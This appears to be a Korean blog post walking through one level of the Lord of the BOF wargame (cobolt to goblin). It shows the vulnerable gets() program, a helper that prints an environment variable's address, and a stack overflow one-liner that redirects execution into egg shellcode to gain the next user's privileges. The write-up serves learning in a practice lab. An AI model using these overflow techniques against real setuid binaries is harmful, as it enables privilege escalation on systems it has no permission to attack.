[cobolt@localhost cobolt]$ ls
goblin goblin.c
[cobolt@localhost cobolt]$ ./goblin
[cobolt@localhost cobolt]$ ./goblin aa aa aa
프로그램을 입력해도 아무 응답이 없네열...
[cobolt@localhost cobolt]$ cat goblin.c
/*
The Lord of the BOF : The Fellowship of the BOF
- goblin
- small buffer + stdin
*/
int main()
{
char buffer[16];
gets(buffer);
printf("%s\n", buffer);
}
확인해보니 아까와 다른 방식입니다. 이번에는 프로그램을 실행하고 입력하는 방식입니다.
이럴때는 스크립트를 넘겨줄때 다음과 같이 넘겨주어야 합니다.
(python -c 'print "\x90"*100';cat)|./attackme
이번에는 환경변수를 이용해 문제를 풀어보도록 하겠습니다. 일단 에그쉘과 에그쉘의 정확한 주소를 알아내는
소스를 짜야됩니다. 그에 대한 내용은 자세히 설명하지 않고 넘어가겠습니다.
일단 에그쉘을 사용해 실행시키고 에그쉘 주소까지 알아냈다면 공격해봅시다.
#include<stdio.h>
int main(void)
{
printf("0x%x\n", getenv("EGG"));
}
이 소스를 이용해 EGG 환경변수의 주소를 알아내었다.
[cobolt@localhost cobolt]$ (python -c 'print "\x90"*20 + "\xd2\xf5\xff\xbf"';cat)|./goblin
Òõÿ¿
*BRAVO!! congratulation~*
*http://blueh4g.org*
id
uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt)
my-pass
euid = 503
hackers proof
성공적으로 정답을 풀었다.
'스터디 > wargames' 카테고리의 다른 글
[BOF-Wargames] LOB Load of BOF LEVEL5 (orc -> wolfman) 문제풀이 (0) | 2011.08.19 |
---|---|
[BOF-Wargames] LOB Load of BOF LEVEL4 (goblin -> orc) 문제풀이 (0) | 2011.08.17 |
[BOF-Wargames] LOB Load of BOF LEVEL2 (gremlin -> cobolt) 문제풀이 (0) | 2011.08.16 |
[BOF-Wargames] LOB Load of BOF LEVEL1 (gate -> gremlin) 문제풀이 (0) | 2011.08.16 |
[BOF-Wargames] IO SmashTheStack Level7 문제풀이 (0) | 2011.08.15 |